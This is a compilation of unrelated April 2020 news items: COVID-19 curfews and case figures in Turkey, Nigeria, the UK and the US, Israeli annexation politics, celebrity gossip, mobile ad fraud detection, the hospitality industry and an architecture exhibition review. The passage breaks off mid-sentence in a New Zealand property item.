Barak Ravid, France recently issued a stern warning against unilateral annexation. The US arena is more interesting, especially Bidens stand on the issue. Biden does not seem keen on annexation, as reflected in various contacts, and is aware of the dangerous repercussions. (On April 28, one of Biden's top advisers confirmed the campaign opposed annexation of West Bank settlements.) The question is whether he will declare his position prior to the US elections in November, make do with leaks by his staff or opt for silence. Just as Trump is susceptible to the influence of his evangelical voters, Biden could likewise be vulnerable to the influence of heavy Jewish campaign donors who hold pragmatic, anti-annexation views. Biden will also face pressure from the other side in the form of senior Jewish community figures beholden to Netanyahu. Could potential pressure from that direction encourage him to act even before November? Hard to say, at the moment. Either way, the Israeli government that is yet to be formed has a fascinating and complex obstacle course ahead if it moves toward the historic annexation of parts of the West Bank. It will be Netanyahus greatest test, but also a major challenge for his rival and partner, Gantz. For a different take on this issue, check out Efraim Inbar's latest piece. RECOVERIES SURPASS NEW CASES BY MORE THAN DOUBLE. Recoveries have now surpassed new COVID-19 cases in Turkey by more than double, according to daily figures announced by Health Minister Fahrettin Koca on Monday. 2,131 people testing positive for the virus. The total number of registered coronavirus cases now stands at 112,261. Fatalities decreased for the eighth consecutive day to 95, bringing the total number of deaths to 2,900. The total number of recoveries hit 33,791 as 4,651 patients recuperated, increasing from 3,558 the previous day. The number of tests performed dropped by a third to 20,143. The total number of tests increased to 918,885. READ: Recoveries surpassed new COVID-19 cases in Turkey by more than double, according to daily figures announced by Health Minister Fahrettin Koca on Monday. Following the four-day 79 people fined for curfew violations Fethiye Gercek reports a total of 79 people in Fethiye were fined a total of 84, 986 TL for violating the four-day curfew over the weekend. Over the four days, 38 citizens were fined a total of 29, 986 TL in the Gendarmerie District and 41 citizens were fined 55,000 TL in the Police District. In a statement yesterday, District Governor Muzaffer Sahiner thanked the citizens who complied with the rules. He said, If there is a rule, we all have to follow it. When it is not followed, there should be a sanction. We make these decisions according to the general hygiene law. Those who do not follow these rules are fined, the lowest fine is 789 TL and the highest is 3,150 TL. Of course, we do not want anyone to receive a fine in such a period between the rules are not followed, penalties are applied. During this period, very serious duties have fallen on our Police Department, our Gendarmerie, our Vefa Social Support Group colleagues that we have formed in our district, and all our employees in our District Governorate, and our friends in the Social Assistance Foundation. Governor Sahiner said, In Fethiye, the pandemic has stabilized as a result of following the rules. No increase. I thank all the citizens who follow the rules. We will continue to implement the measures. Source: https://gercekfethiye.com/sahiner-artis-yok-tedbirlere-uyalim/26975/ Turkey to apply 3-day curfew in 31 provinces starting Friday Turkey will impose a three-day curfew in 31 provinces from midnight on April 30 to midnight on May 3 as part of measures to stem the spread of the novel coronavirus. (Turkey marks Labor and Solidarity Day on May 1). The government circular indicates certain businesses and individuals are exempt from the curfew. PLEASE NOTE: On May 1, people will be allowed to go to the nearest markets and grocery stores* for essential items from 9 a.m. to 2 p.m. * Refers to stores within walking distance NOT DRIVING DISTANCE. Markets and grocery stores will be closed on May 2 and May 3 MUGLA PROVINCE HYGIENE COUNCIL EXCEPTIONS The Mugla Province Hygiene Council, have announced the following exceptions to the curfew, in addition to the circular from the Ministry of Internal Affairs, Employees working in newspaper distribution to our citizens through newspaper distribution companies b) Farmers and shepherds engaged in cattle / sheep and goat breeding c) People with pets (dogs, cats, etc.) can take them out ONLY IN FRONT OF THEIR DOORS to meet their needs and citizens who want to feed the animals in the shelters. MINISTRY OF INTERNAL AFFAIRS EXCEPTIONS BUSINESS EXCEPTIONS TO THE CURFEW Bakery and / or bakery licensed workplaces where bread production is carried out. b) Workplaces where all health products and medical materials (including medical masks) are produced. c) Public and private health institutions and organizations, pharmacies d) Public institutions and organizations required for the maintenance of compulsory public services (nursing home, elderly care home, rehabilitation centers, emergency call centers, etc.) e) Fuel station and veterinary clinics to be determined by governorships / district governorships, one for each 50,000 inhabitants f) Large facilities and businesses operating strategically in the natural gas, electricity and petroleum sectors (such as Tupras, thermal and natural gas conversion plants) g) PTT, Cargo, etc. distribution companies h) Animal shelter, farm and care centers INDIVIDUALS EXEMPT FROM THE CURFEW Managers, officers or employees of the Open Office, Business and Institutions included in the heading (2) of this circular b) TBMM employees (Grand National Assembly of Turkey) c) Those who are in charge of ensuring public order and security d) Employees of emergency call centers e) Those who will perform and participate in funeral burials of their first degree relatives f) Electricity, water, natural gas, telecommunications etc. Those who are in charge of maintaining supply systems that should not be interrupted and dealing with malfunctions g) Those who are in charge of domestic and international transportation in logistics for the transportation of products and /or materials h) Those working in newspaper, radio and television organizations Elderly nursing home, nursing home, rehabilitation centers, childrens homes etc. employees of social protection/care centers j) PTT, cargo and water distribution company employees k) Iron and steel industry, etc. establishments operating in the sectors, such as ovens, cold storage, etc. l) Workers in the agricultural and livestock industry where products are at risk of spoiling m) Vehicles and employees involved in the distribution of bread produced in bakeries BAKERY VANS ARE MAKING DELIVERIES IN THE AREA n) Those who have an appointment for blood and plasma donation under the coordination of the Turkish Red Crescent IT IS ESSENTIAL THAT ALL CITIZENS, OTHER THAN THE EXCEPTIONS SPECIFIED, STAY IN THEIR HOMES! The government plans to continue curfews on weekends up until the Ramadan Bayram (Eid al-Fitr). READ: https://www.dailysabah.com/politics/turkey-to-apply-3-day-curfew-in-31-provinces-starting-friday-erdogan-says/news According to a report in Gercek Fethiye, curfews will be also applied on Saturdays and Sundays for a further three weeks on 9-10 May, 16 -17 May and 23-24 May. Source: https://gercekfethiye.com/ramazan-bayraminda-sokaga-cikma-yasagi-olacak-mi/26985/ Over 1,000 expecting plasma to fight virus In a video conference yesterday, the head of the Turkish Red Crescent (Kzlay), Dr Kerem Knk, said over 1,000 coronavirus patients are hoping to benefit from possible life-saving immune plasma treatment. 567 people across Turkey have donated immune plasma, while 1,066 people are hoping for the plasma treatment. READ: https://www.hurriyetdailynews.com/over-1-000-expecting-plasma-to-fight-virus-154259 Turkish Red Crescent distribute masks and disinfectant at Tuesday Market The Fethiye Branch of the Turkish Red Crescent distributed masks and disinfectant to the citizens at the Tuesday Market today. Burhanettin Tuna, Head of the Turkish Red Crescent Fethiye Branch, said: Today, we have distributed gloves, disinfectants and masks in the market place. Turkish Red Crescent has been actively working since the day Coronavirus came to our country. Until now, as we only had a limited number of masks and disinfectant, we were mostly issuing them to citizens aged 65 and over. Two days ago, more masks, gloves and disinfectants arrived and we are distributing the disinfectants to our tradesmen in the marketplace and in the city. We will also distribute the masks to our citizens who come to the market, especially to those without one. Our municipality and other institutions also distribute masks. We are planning to distribute around 5,000 masks and around 1,500 disinfectants. Turkish Red Crescent have also received and distributed around 500 food parcels in the area. They are also a member of the Vefa Social Support Group, established by the District Governorate and help to fulfill the requests of citizens over 65 years old. Source: https://gercekfethiye.com/turk-kizilayi-maske-ve-dezenfektan-dagitti/26991/ Global statistics There are now 3,087,102 confirmed cases of COVID-19 globally, of which 935,114 have recovered. The number of fatalities stands at 212,691. Source: Worldometer. Follow Fethiye Times on social media for regular updates. Like us on Facebook Follow us on Instagram Follow us on Twitter Todays featured image: Looking across to Sovalye Island from Sehit Fethi Bey Park by Lyn Ward (26 April 2020) Authorities in Nigeria's northern hub Kano said Monday they were probing a spate of "mysterious deaths" while insisting they did not appear to be linked to the coronavirus. Health workers however warned of a backlog in testing and said the pandemic had severely hit medical services for people suffering other diseases. "Over the past week there have been reports of mysterious deaths in our great Kano State and I'm here to assure everyone that investigations are already ongoing," state governor Abdullahi Umar Ganduje wrote on Twitter. "Autopsies are still being carried out but so far there's been nothing to suggest that they are linked with COVID-19." Information commissioner Mohammed Garba said preliminary reports suggested most of the deaths were caused by "complications arising from hypertension, diabetes, meningitis and acute malaria". Kano state, with a population of some 13.5 million, has officially registered 77 infections from the novel coronavirus and one fatality, making it the third worst hir region in Nigeria. The city's only COVID-19 test laboratory at the Aminu Kano Teaching Hospital (AKTH) was shut last week when some of its workers tested positive for the virus. As a result, samples must be transported hundreds of kilometres (miles) to the capital Abuja. Ibrahim Musa, a doctor at AKTH, said the shuttering of the lab had caused a backlog in testing and warned that authorities could be missing "a huge number" of potential infections. Other medical professionals pointed to drastic cuts in services at hospitals as a possible contributor to the uptick in deaths. Kano has been under lockdown for over a week in a bid to stop the spread of the virus. Hospitals, including private facilities, have sent patients home while pharmacies have closed, blocking access to drugs for sick residents. Usman Lawan, a nurse at the city's largest public hospital, said hundreds of inpatients had been discharged, save for a handful of "very critical cases". "Without medical care and vital medications most of them would die. So, COVID-19 is indirectly killing people," Lawan said. The medical worker said that Kano usually sees an increase in malaria and typhoid deaths during the hottest time of the year from April to June. A gravedigger at the Abbatoir cemetery at Fagge area of the city told AFP there had been an "influx of the dead" in recent days. "We bury several, some times dozens, every day," said the man in his 60s who has been on the job for three decades. Nigeria -- Africa's most populous country with some 200 million people -- has confirmed 1,273 cases and 40 deaths from the coronavirus. A total of 16 mobile testing sites have been set up so far. (PA) Several pop-up facilities have been set up across the UK as the government scrambles to hit its 100,000 per day coronavirus testing target. With just days left until the governments self-imposed deadline of 1 May, just 37,024 tests were carried out on Sunday - well short of the total. In a last-ditch effort to hit the 100,000 figure, so-called mobile testing units have been set up in recent days and run by military personnel. The mobile units are located in hard to reach areas of Britain and are designed to travel to offer tests where they are needed, according to the government. But how do you get a test and who is eligible to apply? A view of the governments website for essential workers to apply for a coronavirus test. (PA) Who is eligible for a test? The government is prioritising testing patients so they can be given urgent medical treatment if their condition deteriorates. But last week health secretary Matt Hancock announced essential workers with symptoms would also be eligible for the tests. People who live with essential workers are also eligible for testing. A list jobs carried out by people considered essential workers can be found on the governments website. Hancock announced on Tuesday that all those with coronavirus symptoms aged over 65 and members of their households as well as workers who have to leave home in order to do their jobs and their households would also be eligible for testing from Wednesday onwards. How do you apply? Essential workers who work in England, Scotland and Northern Ireland can book a test for themselves by self-referral or their employers can book one on their behalf. Those who are self-isolating can book a test directly through the governments online booking portal. They will be asked to select a regional test site, drive-through appointment or home test kit although home test kit availability will initially be limited. NHS staff carry out coronavirus tests at a testing facility in Lincoln. (PA) More than 7,000 of the 10,000 available coronavirus home testing kits were ordered in the first hour of availability from 8am on Tuesday, Downing Street said. Story continues By 8am, 22,000 of the 26,000 available drive-through testing site appointments had also been booked, the prime ministers spokesman said. Where are the mobile testing sites? There are now 16 operational military-run mobile testing sites: Torquay, Hereford, Boston, Salisbury, Bishop Auckland, Barnet, Northampton, Grimsby, Skegness, Blackpool, Macclesfield, Ramsgate, Harwich, Barnsley, Grantham and Kendal. The Government hopes to have a total of 96 mobile testing facilities by the start of May. As well as mobile testing units, tests are also being offered at drive-through regional testing sites, satellite centres being set up around hospitals, and NHS facilities themselves. Why has the government set a target of 100,000 tests? Hancock said the 100,000 daily tests promised by the Government would be enough for the test, track and trace plan which would be part of the next stage of the coronavirus response. The lower the number of new cases, the more effective a system of test, track and trace of any scale is. Therefore, 100,000 tests a day is a big enough testing system to start test, track and trace, but if it is bigger then the system can work on a higher number of cases and be more effective. Coronavirus: what happened today? Click here to sign up to the latest news, advice and information with our daily Catch-up newsletter Her Dancing On Ice skate partner Alexander Demetriou confirmed he had split from wife Carlotta Edwards, after being linked to the Love Island beauty. And Maura Higgins brushed off the drama as she showcased her toned figure in lacy black lingerie that she shared via Instagram on Tuesday. The Irish beauty, 29, looked incredible as she displayed her trim physique in the revealing underwear that helped her flaunt her abs and slender legs. Wow! Maura Higgins set pulses racing as she showed off her toned figure in lacy black lingerie for a racy snap shared via Instagram on Tuesday Maura had seemingly had a shower as her brunette locks were pulled back by a fluffy white towel, though she wore a glamorous palette of make-up. She completed the look by accessorising with a simple gold bracelet and a matching pendant necklace. Maura's snap comes after Dancing On Ice star Alexander Demetriou confirmed he has separated from wife Carlotta Edwards. The professional skater, 28, took to Instagram stories on Sunday to confirm the news and revealed to his followers that it had been a 'tough time' for him. All over: Maura's snap comes after Dancing On Ice star Alexander Demetriou confirmed he has separated from wife Carlotta Edwards It comes amid weeks of speculation that their four year marriage was on the rocks amid reports that he became 'besotted' with Love Island beauty Maura. In a statement posted on Instagram stories, Alexander said: 'I'm Sorry I have been quiet on social media recently but it's been a tough time for me personally. 'Carlotta and I have separated. Although it saddens me that we can no longer be together, I feel this is best for both of us. 'I'm looking forward to what the future will bring but in the meantime let's all say home and stay safe.' Skate partner: The split follows weeks of speculation that their four year marriage was on the rocks amid reports that he became 'besotted' with Love Island beauty Maura Confirmation: The professional skater, 28, took to Instagram stories on Sunday to confirm the news and revealed to his followers that it had been a 'tough time' for him While Alexander went public with a statement, Carlotta, 30, has remained silent, and has instead been hauled up in Calgary, Canada with her family. A friend of the former couple recently told their marriage troubles 'came as a shock', as they were so close before the last Dancing On Ice series. A source spoke to The Sun about the visit to reveal: 'Everything has seemed fine and her family thought they were having a good time. 'No one in her family suspected anything was up between them, so obviously this has all been quite a shock.' Split: 'Carlotta and I have separated. Although it saddens me that we can no longer be together, I feel this is best for both of us Earlier this month it was reported that the pair had removed their wedding rings, with Carlotta having flown to her native Canada while Alexander remained in London. It was said their four-year marriage had 'collapsed', following his pairing with Maura on the ITV contest last year, where Alex allegedly became 'besotted' with the Irish beauty. A source told The Sun: 'Carlotta and Alex are taking a break from their marriage and are trying to work out what they want from the future. 'Isolation is giving them a lot of time to think and both are with their families. 'Alexs friendship with Maura was the first proper crack in their relationship. But now theyre at breaking point.' 'Shock': It comes after a friend of the former couple recently told their marriage troubles 'came as a shock', as they were so close before the last Dancing On Ice series The insider went on to say that the couple's friends are of the belief their 'marriage is over' due to Alex's closeness with Maura, adding that the 'trust' the pair is 'shattered'. They added that at the start of the furore it was believed to have been 'just a flirtation' between Maura and Alex, but with the two now in 'constant contact', their closeness is now 'obvious' for everyone to see. The source went on to say that Carlotta was initially 'hell bent' on keeping up the 'pretence' of her marriage, but has now come to terms with the situation and is reassessing what to do next. A spokesman for Maura told MailOnline: 'Maura and Alex had a great friendship whilst training for DOI this was always and has always been just professional, she regards him as a close friend and will continue to do so although they have not spoken in a few weeks. 'Maura has been single since splitting with Curtis, and is spending her time focusing on herself and some exciting projects she has lined up in the near future. Relationship breakdown: Earlier this month it was reported that the pair had removed their wedding rings, with Carlotta having flown to her native Canada while Alexander remained in London Last month it was reported that Carlotta had jetted to the home of parents Nancy and Peter in Port Edward, British Columbia to escape the furore surrounding her relationship. A source told The Sun: 'Carlotta feels utterly humiliated that Alex has fallen for Maura and seems to have abandoned their marriage. 'She tried to put a brave face on things during the final but she needed to get away from them both. She is now spending time with her family.' They added: 'The fact Alex has since been seen having coffee with Maura and leaving her home speaks volumes.' It was recently claimed that Maura split from her Love Island boyfriend Curtis Pritchard earlier this year after rows over her friendship with the skater. Close: It was said their four-year marriage had 'collapsed', following his pairing with Maura on the ITV contest last year, where Alex allegedly became 'besotted' with the Irish beauty Responding to speculation linking Maura and Alex, Curtis recently revealed that Maura forbid him from coming to watch her skate with Alex and that he's sure nothing 'more' happened between the pair. Curtis, 24, said to The Sun: 'I have no proof that anything more has happened between them. I don't like to think about it. 'I don't want to look back over the past few months for warning signs. But it's not nice to read about her relationship with Alex and to see pictures of them together. 'I went to her first three shows, but after that she asked me not to come. She said she had terrible nerves and it was easier without me there. I just accepted that. I wasn't concerned about there being anything romantic between her and Alex.' (Newser) British Prime Minister Boris Johnson urged his lockdown-weary nation to be patient Monday, arguing that easing social and economic restrictions too soon would create a second deadly spike of coronavirus infections. On his first day back at work in three weeks after a bout of COVID-19 that left him dangerously ill, Johnson said Britain had reached the moment of maximum risk in its outbreak. Speaking outside his 10 Downing St. office, Johnson said the country was reaching "the end of the first phase of this conflict but warned that a quick end to a lockdown due to last at least until May 7 was not in sight. "I refuse to throw away all the effort and the sacrifice of the British people and to risk a second major outbreak," said Johnson, who spent three nights in intensive care earlier this month. story continues below The 55-year-old leader appeared thinner but better-rested than when he was last seen in public early this month, AP reports. As of Monday, Britain had recorded 21,092 deaths among people hospitalized with COVID-19, the fifth country in the world to surpass 20,000 deaths. Thousands more are thought to have died in nursing homes during the pandemic. Despite the death toll, Johnsons government is under mounting pressure to set out a blueprint for easing the lockdown that has sharply curtailed business and daily life since March 23. Johnson indicated that any loosening of the lockdown would happen in stages, as authorities "begin gradually to refine the economic and social restrictions and one by one to fire up the engines of this vast UK economy." (Read more Boris Johnson stories.) Monday, April 27, 2020 As mobile ad fraud becomes more sophisticated, it becomes more difficult to catch using traditional methods. Stevie-winner Scalarr, Inc. is a mobile fraud detection company that uses machine learning to identify and prevent fraud. Online fraud is almost as old as the internet itself, and as this technology progressed, fraud evolved and kept pace. In mobile ad fraud, fraudsters abuse mobile advertising technology to swindle online publishers, advertisers, and supply partners. According to The Economic Cost of Bad Actors on the Internet, Ad Fraud 2019, by Cheq, a cybersecurity company based in New York, United States, direct and indirect economic and social costs of global ad fraud could amount up to $30 billion in 2019. I have studied the economic costs of fraud in many sectors for decades, and I was left stunned by the scale of fraud in online advertising, economist Roberto Cavazos said in the report. Cavazos is a professor at the University of Baltimore in Baltimore, Maryland, United States, and he worked on the report with Cheq. AppFlyer, a mobile app analytics firm headquartered in San Francisco, California, United States, monitored 2.5 billion installs across 9,500 mobile apps in the first six months of 2019 and extrapolated their results to a global scale. They revealed a whopping 22.6 percent of nonorganic app installs globally could be classified as fraudulent. They published this and other findings in a report titled State of Mobile Fraud, 2019. The Different Faces of Mobile Ad Fraud Fraudsters attempting to steal advertising budgets are an ingenious lot. According to Stevie-winner Scalarr, a mobile ad fraud detection company based in Wilmington, Delaware, United States, new and increasingly sophisticated frauds emerge every day. These include smart bots, intelligent device farms, and mixed fraud. Fraudsters have become so smart that you cant catch them by traditional methods anymore, says Olga Bazarova, marketing lead at Scalarr. The AppFlyer report reiterates this sentiment. It reveals that fraudsters are reacting to protection measures at an unprecedented pace. In 2018, it took them a month or two to react; now they do so in a couple of days. The upshot of many of these reports is that mobile fraud is ubiquitous, and no platform or publisher is safe. Mobile marketers tend to believe that trusted traffic sources, such as Facebook, Google, and ad video networks, are a panacea against fraud, and they redistribute marketing budgets there. In 2019, though, we saw a lot of examples of fraud on trusted sources, confirming that fraudsters always follow the money, said Bazarova. Mobile ad fraud targets all stages of online advertising, from impressions to clicks to app installs. It even targets in-app purchases. The Financial Times, a daily newspaper headquartered in London, England, United Kingdom, was shocked by the scale of domain spoofing against its site. In domain spoofing, fraudsters eat into advertising budgets by masquerading as a popular domain that can display ads. The scale of the fraud we found is jaw-dropping, says Anthony Hitchings, the digital advertising operations director at the Financial Times. The industry continues to waste marketing budgets on what is essentially organized crime. AI to the Rescue The speed and scale at which mobile ad fraud has evolved indicates its not something mobile developers or marketers can tackle alone. Detecting fraudulent installs is a mammoth task requiring analysis of numerous parameters and correlations. Mobile ad fraud intelligence and protection solutions are increasingly and successfully relying on machine learning (ML) and big data to identify and to prevent fraud. Scalarr, AppFlyer, Cheq, and several other companies offering fraud detection and protection use ML algorithms to counter the attacks and to ensure marketers acquire only real users. While the assumption is that fraudsters cant work around these AI-backed countermeasures, only time will tell how this plays out. Scalarr Inc. recently won a Silver Stevie Award in the Tech Startup of the Year - Services category and a Bronze Stevie in the Startup of the Year - Business Services Industries category at The 2019 International Business Awards. Interested in entering The International Business Awards? Opinion Article 28 April 2020 "The impact to our industry is already more severe than anything we've seen before, including September 11th and the Great Recession of 2008 combined." A chilling statement from Chip Rogers, President of the American Hotel & Lodging Association (AHLA) on March 17just as COVID-19 was starting to unleash its global fury. Advertisements Decimation Perhaps no other industry has been as bruised and battered by the coronavirus as has the hospitality sector. To understand the full scope, you need to look at the impact on the providers who support this $1.6 trillion industry. From farmers to engineers to cab drivers to bartenders, the list of professions impacted by the decline in travel goes on. Many hotel properties that were running at 70% occupancy are now below 5%, and the industry is in danger of losing four million jobs along with $3.5 billion per week. With numbers like these, there's no "silver lining" and with all of the pain and uncertainty that remain, how can we realistically talk about a "new normal?" The Bottom of the Curve? But to remain vital, the hospitality sector does have to plan for a tomorrow. In fact, industry CEOs are looking at a recovery period of 12-18 months, or potentially shorter if a vaccine is discovered. Industry analysts are closely watching the Asia Pacific and China recoveries as an indicator for how demand may rebound throughout the rest of world. Ninety percent of hotels in China are now open as compared with 50% in February. Occupancy levels at hotels in greater China have increased to approximately 20% on a month-to-date basis, which are up from the low-to-mid single digits in mid-February. So far, the China recovery has been slow. While it is difficult to find any glimmers of hope in the data and the news, we seem to be close to the bottom of the market and things can hopefully only go up from here. The one thing that is certain right now is uncertainty. Nevertheless, here are a few things that could be in store for hospitality companies and their customers today, tomorrow and for the foreseeable future: Hospitality Company Impact Liquidity - During times like these, cash is king. It's literally a lifeline. Public hotel companies are aggressively raising debt through note offerings to increase near-term liquidity. Hilton recently announced that it had pre-sold $1 billion in cash worth of loyalty points to American Express, a relatively inexpensive source of near-term liquidity for the company. Companies have slashed corporate staff anywhere from 15% to 50%. Coming up with bold, creative plans to get cash on the balance sheets are even more important given that government stimulus programs can only go so far. Technology - Properties and companies that were early adopters of technology will be better positioned to weather the COVID-19 storm. We're already seeing a preference toward mobile pay options versus cash. Imagine hotels staffed entirely by robots; this is already a common practice in Japan. From facial recognition check-ins to virtual reality to sell hotel space, anything that can be used to minimize guest exposure to staff and other travelers will be embraced. Higher Costs - There will increased expenditures on quality assurance and sanitation programs. And while hospitality companies will need to invest in masks, sanitizers, gloves and enhanced training, until demand returns to normal these costs probably can't be passed onto consumers. Spatial Changes - Have we witnessed the beginning of the end of the Las Vegas buffets? Communal has become a dirty word across all industries. Messaging - While it's hard to substitute the picture of a bustling Times Square or a bucolic Yosemite National Park, travel advertising will stress how sterile and safe travelers will be by choosing one airline, hotel, rental car and so forth over another. You might also see more cooperative advertising among hospitality companies with respect to a specific destination. Planning for the Next One - At some point, hospitality companies will need to create or update their disaster planning/recovery guides. They will also need to take a close look at obtaining adequate business interruption insurance if they don't already have it. Traveler Impact Deep Discounts - A traveler's dollar will certainly go farther, specifically in cities that have had coronavirus clusters. It's a simple issue of supply and demand. Back to Basics - People have embraced disrupters such as Airbnb, We Work, and Uber that are, in part, experience-driven. We could see a return to more traditional vacation destinations and hotel chains in an increased effort toward security and predictability. Who knows? We may even see a resurgence of drive-in movie theaters. Government Involvement - Just like after 9/11, flyers had increased demands on identification. Similarly, we could see COVID-19 travel requirements such as antibody certificates; personal protective gear requirements; mandatory temperature taking upon entry of a restaurant, cruise ship, theme park, etc. Risk Aversion Isn't One Size Fits All - Let's face it, traveling in and around Boise isn't the same as traversing Boston. Some geographic areas will get up to speed faster than others. Furthermore, you might see Millennials look for discounts and adventures sooner than a family of four. Keep an eye on the corporate demand for meetings, trade shows and so on. Typically the last hospitality area for recovery, this will be the real engine to drive renewed growth. A Way Forward The knock on the big established chains was that they were slow to change and adapt to consumer preferences. This led disrupters such as Airbnb to become serious players in hospitality. For companies to survive this pandemic, they have no choice but to be nimble and customer-centric. Combine that with doing the right thing for employees and the community, and these companies will be best positioned for the recovery. The hospitality industry will bounce back once travelers and companies regain trustwhich probably will be later rather than sooner. However, thanks to the enormous amount of pent-up demand for both personal and business travel, the hospitality industry may reach even greater heights than before the pandemic. Eileen Gray Through July 12. Bard Graduate Center; exhibitions.bgc.bard.edu/eileengray. Ive had many fantasies about houses where I wish I could wait out this health emergency. A Montana ranch? A big Spanish farmhouse? Or just a regular apartment in Covid-crushing Seoul? But I cant do better than E-1027, a fabled modernist bungalow on the French Riviera. Built in 1927, this seaside cabin has the white walls and nautical balconies common to so much European functionalist architecture, but inside its lusher and racier, with bespoke leather-clad beds and fondle-inviting carpets. A morning swim in the Mediterranean, lunchtime on the flat roof terrace, reading in the balcony hammock, cocktails from the inbuilt lacquered bar: I could manage a quarantine here. E-1027 was masterminded, inside and out, by the Irish-French architect Eileen Gray (with her partner, Jean Badovici), and many of the furnishings she conceived for the house are in New York now, at the Bard Graduate Center, which opened a retrospective of her designs and architecture a few weeks before lockdown. I saw it then, and Im impressed with Bards conversion of this major show for the web; click on any of the chairs or credenzas in the installation shots, and youll discover higher-resolution photographs and thorough contextual materials about her work process and commercial ambitions. In the gallery devoted to E-1027, make sure to select the white dining room serving table, so you can see its four pivoting drawers fanned out like a peacocks tail. In greater Des Plaines, which has a number of COVID-19 cases far exceeding its neighboring communities, the citys mayor and city manager last week suggested the high number was due to COVID-19 cases in unincorporated areas having Des Plaines addresses and zip codes. Neither provided data that unincorporated residents are testing positive for COVID-19 at greater rates than their counterparts living within the city of Des Plaines municipal borders. WASHINGTON - Congressional leaders on Monday outlined vastly different priorities for the things they want to put into the next coronavirus bill when they return next week, with Democrats seeking more wage protections for workers and Republicans aiming to insulate companies from employee lawsuits. Senate Majority Leader Mitch McConnell, R-Ky., released a statement confirming his intention to bring the Senate back into session May 4, and said one priority would be "strong protections from opportunistic lawsuits" for healthcare workers and businesses. "We cannot get distracted by pre-existing partisan wish-lists or calls to paper over decades of reckless decisions that had nothing to do with COVID-19," McConnell said, in apparent reference to House Democrats' plans to advance a massive new coronavirus rescue bill that would include a number of liberal priorities along with generous aid to prop up state budgets. House Majority Leader Steny Hoyer, D-Md., told Democrats on a conference call that the House, too, would be reconvening on Monday. Earlier, House Speaker Nancy Pelosi, D-Calif., said that Congress might need to consider offering a guaranteed income to some Americans to help the country recover from the economic impact of the coronavirus pandemic. "We may have to think in terms of some different ways to put money in people's pockets," Pelosi said on MSNBC. "Others have suggested a minimum income, a guaranteed income for people. Is that worthy of attention now? Perhaps so." A number of Democrats in the House and Senate have advanced proposals that would ensure a guaranteed paycheck for workers impacted by the coronavirus. These include a plan by Rep. Pramila Jayapal, D-Wash., co-chair of the Progressive Caucus, that would create a three-month federal guarantee for 100 percent of worker salaries of up to $100,000. Pelosi's comments suggested she was open to such an approach. McConnell's statement, by contrast, appeared to endorse some type of a "liability shield" that would prevent businesses from being sued by customers who contract the coronavirus, an idea that has been under consideration at the White House. "Before we start sending additional money down to states and localities, I want to make sure we protect the people we've already sent assistance to who are going to be set up for an avalanche of lawsuits if we don't act," McConnell said in an interview later with conservative radio host Guy Benson. "There probably will be another state and local funding bill, but we need to make sure that we achieve something that will go beyond simply sending out money," McConnell said. He said the country is going to be afraid to open up if businesses are afraid they'll be sued. The comments from McConnell and Pelosi put the two parties on a collision course over their next steps to deal with the pandemic, setting up an ideological and partisan clash over the federal government's next steps as the nation's economy reels heading into the election. Congress has managed to overcome its partisan divides to pass four bipartisan rescue bills since early March, committing nearly $3 trillion to battling the coronavirus thus far. That includes legislation passed last week that spent nearly $500 billion to replenish a small business lending program and devote money to hospitals and testing. But lawmakers in both parties anticipate that reaching agreement on the next bill will be much harder, as Democrats push for even more aggressive spending while McConnell has said repeatedly he wants to push the "pause button" on any more big spending bills for now. The House will also begin oversight hearings on the coronavirus response, with committees meeting throughout the week in staggered fashion to create social distancing, Hoyer said. House Democrats anticipate their next rescue bill will rival in size and scope the $2 trillion Cares Act Congress passed in late March. They want to boost aid for cities and states, increase funding for nutrition assistance and raise financial support for individual Americans. Democrats are also weighing multiple other items, including direct assistance for housing, money for election security and vote-by-mail initiatives, hazard pay for front-line workers, child-care assistance, and more money for health providers and hospitals. Political leaders are hunting for ways to address the economic fallout after more than 26 million Americans have filed unemployment claims in less than two months. The unemployment rate in February was 3.5%, but it is believed to have skyrocketed to close to 20% in April, and state unemployment assistance programs are overwhelmed. Pelosi offered no specifics during her MSNBC interview of how a guaranteed income program might work. Congressional Democrats have also discussed sending a second round of direct checks to Americans to build on the $1,200 payments that are being sent out under the Cares Act. Pelosi also advocated extending the period of loans available under the small-business initiative, known as the Paycheck Protection Program, to longer than the two months in law. She also suggested that the small-business program could be expanded to businesses with 1,000 employees instead of the current 500. "I think we should extend the time, I really do," she said, acknowledging that the financial challenges of businesses could extend well beyond a two-month window. "If they are not being able to get the same kind of small-business loan, perhaps in some cases, again as you said, we have to extend the time, but in some cases, we have to also perhaps expand it to a thousand people rather than just 500," Pelosi said. Pelosi's comments indicate the fluid and wide-ranging debate underway as House Democrats draft their next response bill. The centerpiece of the legislation is expected to be a massive infusion of cash to stabilize state and local budgets, which Pelosi has suggested could be around $700 billion. The debate is taking shape with many House Democrats eager to take a greater role in shaping the federal response to the pandemic. But Democrats' push for another big bill that would answer governors' call for money to prop up their battered budgets is running into growing resistance from McConnell and other Republicans who say it's not their job to help out states that were mismanaged long before the coronavirus surfaced. President Donald Trump has indicated growing sympathy toward that viewpoint, writing Monday on Twitter: "Why should the people and taxpayers of America be bailing out poorly run states (like Illinois, as example) and cities, in all cases Democrat run and managed, when most of the other states are not looking for bailout help? I am open to discussing anything, but just asking?" Despite some divisions among Senate Republicans, including some who have indicated support for sending money to states or bolstering worker paychecks, McConnell's statement Monday mentioned only one specific proposal Senate Republicans would take on after coming back into session next week: the idea of shielding employers and health care workers from litigation. "Republicans will proudly insist on these and other strong, pro-certainty, pro-growth reforms throughout any and all future discussions," McConnell said. "The American people do not need tangential left-wing daydreams. They need commonsense steps that move us toward the response, recovery, and future readiness that Americans need and deserve." The bill Congress passed last week devoted an additional $310 billion to the small business Paycheck Protection Program. But that money is already in huge demand and could run out by next week. The Ministry of Business Innovation and Employment has announced that property transactions stalled during Alert Level 4 can now proceed under Level 3, provided safety precautions are followed. Director of WRMK Lawyers Warkworth, Patrick Steuart, says Alert Level 3 loosens restrictions on buyers and sellers. This includes people with existing transactions with a settlement date set for Level 2. They can now secure an earlier settlement date under Level 3 as long as both parties agree. But Mr Steuart says it is important that buyers and sellers make sure they are able to book a removal company to manage their move in line with safety guidelines, and can maintain adequate physical distancing during the move and pre-settlement phase. Planning ahead to know how youre going to maintain physical distancing during the moving process, and to enable settlement, is important before you move your dates, he says. Think about how you will sign the necessary documents. Is your lawyer able to help you sign documents remotely? Do they have your files online? Can you complete your pre-settlement inspection with the appropriate physical distancing in place? Steuart says taking legal advice before signing any contracts is especially important. Buyers need to make sure their contracts provide for longer time frames to organise building inspections, get LIM reports and get finance approvals, as banks, councils and other providers deal with a pick-up in demand for these services again, he says. The Real Estate Institute of New Zealand has confirmed agents are allowed to conduct 